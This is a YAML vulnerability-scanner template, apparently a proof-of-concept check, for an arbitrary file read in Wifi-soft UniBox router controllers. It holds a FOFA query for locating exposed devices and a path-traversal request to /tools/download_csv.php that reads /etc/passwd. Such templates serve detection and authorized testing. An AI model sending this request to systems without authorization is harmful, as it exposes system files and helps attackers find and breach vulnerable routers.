unibox-router-fileread: Unibox路由器任意文件读取漏洞

id: unibox-router-fileread
info:
  name: Unibox路由器任意文件读取漏洞
  author: avic123
  severity: high
  verified: true
  description: |
    Wifi-soft UniBox controller 路由器产品中存在任意文件读取漏洞
    fofa：body="Unibox" && body="Controller" || body="www.wifi-soft.com"
  reference:
    - https://mrxn.net/jswz/unibox-network-checkstatus_ping-rce.html
  tags: unibox,fileread
  created: 2025/08/26

set:
  hostname: request.url.host

rules:
  r0:
    request:
      method: GET
      path: /tools/download_csv.php?download_file=../../../etc/passwd
    expression: >-
      response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)

expression: r0()